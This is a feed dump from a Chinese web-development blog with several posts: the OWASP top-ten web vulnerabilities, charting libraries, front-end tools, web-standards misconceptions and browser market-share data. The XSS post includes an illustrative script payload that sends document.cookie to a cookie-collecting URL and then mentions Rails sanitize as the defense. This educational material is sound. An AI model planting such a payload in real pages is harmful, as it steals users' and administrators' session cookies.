CSSWEBSITE » web http://www.csswebsite.cn 关注CSS，WEB以及网络编程技术 Tue, 23 Mar 2010 15:08:27 +0000 http://wordpress.org/?v=2.9 en hourly 1 十大Web应用漏洞清单,XSS排名第一 http://www.csswebsite.cn/focus-on-web/2010/01/%e5%8d%81%e5%a4%a7web%e5%ba%94%e7%94%a8%e6%bc%8f%e6%b4%9e%e6%b8%85%e5%8d%95xss%e6%8e%92%e5%90%8d%e7%ac%ac%e4%b8%80/ http://www.csswebsite.cn/focus-on-web/2010/01/%e5%8d%81%e5%a4%a7web%e5%ba%94%e7%94%a8%e6%bc%8f%e6%b4%9e%e6%b8%85%e5%8d%95xss%e6%8e%92%e5%90%8d%e7%ac%ac%e4%b8%80/#comments Sun, 03 Jan 2010 09:19:38 +0000 admin http://www.csswebsite.cn/focus-on-web/2010/01/%e5%8d%81%e5%a4%a7web%e5%ba%94%e7%94%a8%e6%bc%8f%e6%b4%9e%e6%b8%85%e5%8d%95xss%e6%8e%92%e5%90%8d%e7%ac%ac%e4%b8%80/ owasp.org列出十大Web应用漏洞清单：
1, Cross Site Scripting(XSS)
2, Injection Flaws
3, Malicious File Execution
4, Insecure Direct Object Reference
5, Cross Site Request Forgery(CSRF)
6, Information Leakage and Improper Error Handling
7, Broken Authentication and Session Management
8, Insecure Cryptographic Storage
9, Insecure Communications
10, Failure to Restrict URL Access

XSS排在第一位，MySpace著名的漏洞案就是由于受到XSS攻击，原理很简单，在用户提交的数据中包含JavaScript脚本
例如在修改用户Profile时用户在一个输入框内输入如下内容:

Java代码
<script>
  $.ajax(“some url” + document.cookie)
</script>

这样当其他人(如管理员)查看该用户的Profile时，上面这段JavaScript执行，然后将管理员的cookie发送给某个url(可以是一个收集cookie的站点)
这样，管理员的登录认证等信息就暴露了！

而Rails提供了TextHelper#sanitize方法来预防XSS攻击

]]> http://www.csswebsite.cn/focus-on-web/2010/01/%e5%8d%81%e5%a4%a7web%e5%ba%94%e7%94%a8%e6%bc%8f%e6%b4%9e%e6%b8%85%e5%8d%95xss%e6%8e%92%e5%90%8d%e7%ac%ac%e4%b8%80/feed/ 0 25 个在 Web 中嵌入图表的免费资源 http://www.csswebsite.cn/programming/2009/10/25-%e4%b8%aa%e5%9c%a8-web-%e4%b8%ad%e5%b5%8c%e5%85%a5%e5%9b%be%e8%a1%a8%e7%9a%84%e5%85%8d%e8%b4%b9%e8%b5%84%e6%ba%90/ http://www.csswebsite.cn/programming/2009/10/25-%e4%b8%aa%e5%9c%a8-web-%e4%b8%ad%e5%b5%8c%e5%85%a5%e5%9b%be%e8%a1%a8%e7%9a%84%e5%85%8d%e8%b4%b9%e8%b5%84%e6%ba%90/#comments Wed, 28 Oct 2009 14:55:04 +0000 admin http://www.csswebsite.cn/?p=121

新闻来源:blogof.francescomugnai.com
在 Web 中嵌入图形图表的技术越来越丰富，我们可以选择 JavaScript 库，CSS，Flash，Silverlight，PHP 库，服务器端的组件，也可以选择 Google Chart API 这样的 Web 服务。本文介绍了25个在 Web 中嵌入图形图表的免费资源。

JS Charts (基于 JavaScript 的图表生成工具) 
js-charts
Protovis (可视化 javaScript 图表生成工具) 
chart4
Visifire (基于 Silverlight 和 WPF 的开源图表组件) 
chart6
pChart (PHP图表类库框架) 
pchart
Ejschart (Javascript) 
chartx
XML/SWF Charts 
chart3
Chronoscope (开源) 
timeline
Open Flash Chart 2 
chart7
FusionCharts Free 
top5
JFreeChart (flash) 
jfr
Flare (Flash ActionScript 库) 
flare
Google Chart API 
google
Google Chart Generator 
chart_01
Timeplot (基于 DHTML 的 AJAX 饰件) 
timeplot
CSS Chart Generator (基于 CSS 的即时 Web 图表生成) 
viper
YUI Library 
chart9
PlotKit (JavaScript 图表库) 
chart10
Flotr (基于 Prototype框架的图表类库) 
flotr
Rapha?l (JavaScript library) 
chart11
Protochart (开源类库，基于 Prototype 和 Canvas) 
points
Bluff (Rubby 下的 Gruff 图表类库的 JavaScript 移植) 
bluff
Pure Css Line Graph （纯粹基于 CSS 的线形图） 
chart12
Pure Css Data Chart 
css3
CSS Stacked Bar Graphs 
stacked
Illustrator tutorial 
illustrator

本文资料来源：http://blogof.francescomugnai.com/2009/04/25-great-free-resources-for-making-charts/
编译：COMSHARP CMS 官方网站

]]> http://www.csswebsite.cn/programming/2009/10/25-%e4%b8%aa%e5%9c%a8-web-%e4%b8%ad%e5%b5%8c%e5%85%a5%e5%9b%be%e8%a1%a8%e7%9a%84%e5%85%8d%e8%b4%b9%e8%b5%84%e6%ba%90/feed/ 0 前端开发大众手册(包括工具、网址、经验等) http://www.csswebsite.cn/records/2009/10/%e5%89%8d%e7%ab%af%e5%bc%80%e5%8f%91%e5%a4%a7%e4%bc%97%e6%89%8b%e5%86%8c%e5%8c%85%e6%8b%ac%e5%b7%a5%e5%85%b7%e3%80%81%e7%bd%91%e5%9d%80%e3%80%81%e7%bb%8f%e9%aa%8c%e7%ad%89/ http://www.csswebsite.cn/records/2009/10/%e5%89%8d%e7%ab%af%e5%bc%80%e5%8f%91%e5%a4%a7%e4%bc%97%e6%89%8b%e5%86%8c%e5%8c%85%e6%8b%ac%e5%b7%a5%e5%85%b7%e3%80%81%e7%bd%91%e5%9d%80%e3%80%81%e7%bb%8f%e9%aa%8c%e7%ad%89/#comments Tue, 27 Oct 2009 08:57:10 +0000 admin http://www.csswebsite.cn/?p=110 文章来源http://www.williamlong.info/info/archives/262.html

一直觉得前端开发缺个手册，这是个体力活。不过总得有人来干。

今天闲来无事，把一些工具(online和client的)、常用网 址、以及经验总结等罗列出来和大家分享下。这个标题起地大了点，肯定会有很多地方没列到，包括类目的分法也可能考虑不周，所以还请大家积极补充指正，可以 直接留言，也可以发邮件给我(sorrycc#gmail.com)。之所以加上“大众”两字，因为以下资源对于高手来说可能早就很熟悉了。

另外想提一句，工具是死的，好不好用得看你会不会用。比如Firefox、Fiddler等，除了显而易见的功能以外，都有一些小的技巧，掌握了可以让你事半功倍。

更新记录：

  • [20081025] 第一版

快捷导航：

另外还搞了个Firefox插件《前端开发工具集》，把资源整合到一个菜单下，方便查询。数据放在线上(Google AppEngine)，速度应该会有保证，更新也会比较方便哈。

在线工具集

常用Firefox插件

IE下的调试工具

  • Fiddle2 —— 非常强悍的一款http流查看工具，默认支持IE，其他浏览器可以设置将{Document}\Scripts\BrowserPAC.js设为代理进行使用。Firefox下可用上述”Fiddler 开关”进行快速切换。支持插件。
  • IE Developer Toolbar —— 查看元素、禁用缓存、禁用CSS\JS、Outline元素、查看生成的源码等功能，IE8自带了一个加强版的。
  • Microsoft Script Debugger + Companion.JS —— 调试JS用，虽然报错还是有误差，但是我已经满足了。安装顺序是：Microsoft Script Debugger，Companion.JS，在”IE选项-高级”里取消禁用脚本调试。
  • 多版本IE共存两种方案：
    • IE7/8 + IE Tester —— 大众型配置，可以基本满足日常需要。
    • IE6 + Internet Explorer Collection —— 在IE 6用户占绝对优势以及IE 6神奇bug满天飞的时代，我还是推荐这种方案，因为只有神奇的原装IE 6，才能抵挡运营神奇的问题。另外如果还有其他机器可供支配的话，建议再装个IE 8 + IE Tester，因为IE 8下的Developer Toolbar还是有很大改进的，调试起来会方便一些。
  • 以下三个软件相对不重要些：

参考手册

批处理工具

IDE及其他工具

Bookmarklet(右键另存)

开发者社区及权威网站

推荐订阅的博客和网站(排名不分先后)

]]> http://www.csswebsite.cn/records/2009/10/%e5%89%8d%e7%ab%af%e5%bc%80%e5%8f%91%e5%a4%a7%e4%bc%97%e6%89%8b%e5%86%8c%e5%8c%85%e6%8b%ac%e5%b7%a5%e5%85%b7%e3%80%81%e7%bd%91%e5%9d%80%e3%80%81%e7%bb%8f%e9%aa%8c%e7%ad%89/feed/ 0 对Web标准最常见的5个误解 http://www.csswebsite.cn/front-end-dvelopment/2009/10/%e5%af%b9web%e6%a0%87%e5%87%86%e6%9c%80%e5%b8%b8%e8%a7%81%e7%9a%845%e4%b8%aa%e8%af%af%e8%a7%a3/ http://www.csswebsite.cn/front-end-dvelopment/2009/10/%e5%af%b9web%e6%a0%87%e5%87%86%e6%9c%80%e5%b8%b8%e8%a7%81%e7%9a%845%e4%b8%aa%e8%af%af%e8%a7%a3/#comments Fri, 23 Oct 2009 06:30:54 +0000 admin http://www.csswebsite.cn/?p=84 这是在 CSS Globe 上看到的一篇文章，个人感觉对理解 Web 标准和 Web 开发（尤其是前端开发）很有启发意义，特翻译分享，并加入了一些我的想法。原文地址：5 Most Common Web Standards Misconceptions。

当开始学习 Web 标准的时候，我们会听到很多关于 Web 标准的理论，这些理论不一定都是正确的，有些反而可能会误导我们。下面是一些最常见的误解。

1、Web 标准 = Validation（验证）

W3C 提供的 XHTML 标记验证和 CSS 验证对学习 Web 标准和 Web 开发是很重要的，它不但能够指出代码中的错误，还能让我们学会怎样去改正错误。但是，仅仅通过验证并不意味着你的页面符合 Web 标准。我曾经把 W3C 的验证服务和英语拼写检查工具做过比较。如果你在拼写检查工具中输入这样一个句子：

Dog fox brown lazy over jump.

拼写检查工具并不会发现任何错误，因为单词拼写全是正确的。但是，这句话有意义吗？当你没有为你的页面逻辑结构使用合适的 HTML 元素时，不正和上面的那个例子一样吗？机器就是机器，它可以检测出你的语法、属性、嵌套等的正误，但是它无法了解你要表达的内容的本质。这就是 Web 语义化（semantic）的重要性。

2、Web 标准 = CSS

CSS 是一种样式单，它是一个让页面看起来更加美观的（强大的）工具，而且，CSS 也是 Web 标准的一个重要部分。但是，看看那些基于表格布局，tr、td 等标记层层嵌套如同噩梦一般的页面，你会发现它们也在通过各种方法使用着 CSS，那么，这些页面符合 Web 标准吗？

Web 标准并不只是技术，当然更不只是 CSS，而是你怎样去使用它。一个相对标准的页面，即使剥离了 CSS，它仍然应该是可读的，层次结构清晰的。

3、Web 标准 = No Tables

当从表格布局转变到 CSS 布局之后，很多开发者开始拒绝在任何情况下使用表格，他们认为“Tables are evil”。

对我来说，没有任何一个 HTML 元素是 evil 的。它们是被一群非常聪明的人发明的，每一个元素都有它的目的和存在的意义。什么时候应该使用表格，这又涉及到了 Web 语义化的问题，如果你要在页面中显示表格数据（比如日历表、统计表等），那么，表格就是你的最佳选择。

4、Web 标准 = Divs

过度使用 div，是在刚从表格布局转变到 CSS 布局的开发者中很常见的问题，我曾经也经历过。我们经常可以看到这种说法：“div+css布局”，似乎使用了 div 就是好的，就是符合 Web 标准的。实际上有些时候，你只是简单地使用 div 代替了表格，仅此而已。你最终得到的还是复杂的、难以读懂的、层层叠叠的标记，就像以前一样，只是 div 代替了以前的 table、tr、td，并且把 CSS 文件增大了几倍而已。

你需要改变的不仅仅是在页面中充当容器的元素，而是整体的结构和理念。符合 Web 标准需要走一条很长的路，好在这条路是充满阳光的，我愿意走下去。

5、Web 标准 = No IE

我知道你很可能和我一样痛恨 IE，但是，Web 标准的观点是实现跨平台、跨浏览器的页面访问，更重要的是，大多数用户都在使用 IE。因此，我们不能抛弃 IE，尽管它不是一个符合标准的浏览器。

所以，不要在开发中忽视 IE 下的调试，因为毫无疑问会有用户在使用 IE，你迟早都必须面对它。骂完 IE 以后，还是好好想想怎么对付它吧。

文章来源http://www.helloxudan.net/2008/04/15/5-most-common-web-standards-misconceptions.html

]]> http://www.csswebsite.cn/front-end-dvelopment/2009/10/%e5%af%b9web%e6%a0%87%e5%87%86%e6%9c%80%e5%b8%b8%e8%a7%81%e7%9a%845%e4%b8%aa%e8%af%af%e8%a7%a3/feed/ 0 Web 浏览器，分辨率，操作系统最新分布数据 http://www.csswebsite.cn/focus-on-web/2009/10/web-%e6%b5%8f%e8%a7%88%e5%99%a8%ef%bc%8c%e5%88%86%e8%be%a8%e7%8e%87%ef%bc%8c%e6%93%8d%e4%bd%9c%e7%b3%bb%e7%bb%9f%e6%9c%80%e6%96%b0%e5%88%86%e5%b8%83%e6%95%b0%e6%8d%ae/ http://www.csswebsite.cn/focus-on-web/2009/10/web-%e6%b5%8f%e8%a7%88%e5%99%a8%ef%bc%8c%e5%88%86%e8%be%a8%e7%8e%87%ef%bc%8c%e6%93%8d%e4%bd%9c%e7%b3%bb%e7%bb%9f%e6%9c%80%e6%96%b0%e5%88%86%e5%b8%83%e6%95%b0%e6%8d%ae/#comments Thu, 22 Oct 2009 04:32:13 +0000 admin http://www.csswebsite.cn/?p=75 Web 设计师真的可以忽视 IE6 了吗？显然不能，使用 IE6 的仍大有人在。本文搜集了最新的 Web 浏览器，屏幕分辨率以及操作系统的分布数据，Web 设计师可以籍此对自己的设计做一调整，比如，1024 以下的屏幕真的很少了，如果硬要照顾这个分辨率，你会发现，一个 800 像素宽的页面在 1440 的屏幕上看上太古怪了。本文数据来自 Wikipedia (OS | Browser), Market Share 等媒体。

不同屏幕分辨率分布
screen-resolution-market-share

可以看出，1024 以下的屏幕所占的比例已经很小了，其中，800×600 的屏幕只占 3.69%，所以，现在的 Web 设计师，除非做的是弹性页面设计，一般不会考虑 800 宽的屏幕，否则，800 像素宽的页面放在 1440 宽的屏幕上浏览实在是太不协调了。

其它屏幕尺寸占了 10.38%，我猜想，这 10.38% 中多数应该是移动浏览器，因为 Wap 一直没有真正发展起来，因此，单独针对移动浏览器进行设计也未必值得，Opera Mobile 这样的浏览器已经可以象桌面浏览器那样渲染网页，同样，那些基于代理渲染的浏览器更是和桌面的渲染结果没有什么区别，差别的只有屏幕尺寸，然而，移动设备的屏幕尺寸实在太小了，只能让它自己左右滚动吧。

值得一提的是 iPhone，鉴于它的流行，很多博客站点都推出 iPhone 版，WordPress 已经支持 iPhone，然而仅限于布局相对简单的博客类站点，普通的站点，在 320 像素的屏幕上是很难不用滚动条完成布局的。
浏览器分布

browser-market-share
这是国外的数据，是不是有些意外，IE6 的市场占有率仍然如此之高（国内还要高），仅次于 Firefox，因此，那些愤愤然声称不再支持 IE6 的设计师是不明智的。

Firefox 居首是实至名归，Chrome，Safari，Opera 仍是小众，不过鉴于 Google 的能力，Chrome 会有大作为。
操作系统分布
operating-system-market-share
操作系统分布没有什么悬念，Windows XP 和 Vista 占了9成，Linux 一直很努力，但份额仍然只有 1%。

本文数据来源：http://www.webpagefx.com/blog/web-design/special-for-designers-resolution-browser-and-os-market-share-data-for-last-month/

]]> http://www.csswebsite.cn/focus-on-web/2009/10/web-%e6%b5%8f%e8%a7%88%e5%99%a8%ef%bc%8c%e5%88%86%e8%be%a8%e7%8e%87%ef%bc%8c%e6%93%8d%e4%bd%9c%e7%b3%bb%e7%bb%9f%e6%9c%80%e6%96%b0%e5%88%86%e5%b8%83%e6%95%b0%e6%8d%ae/feed/ 0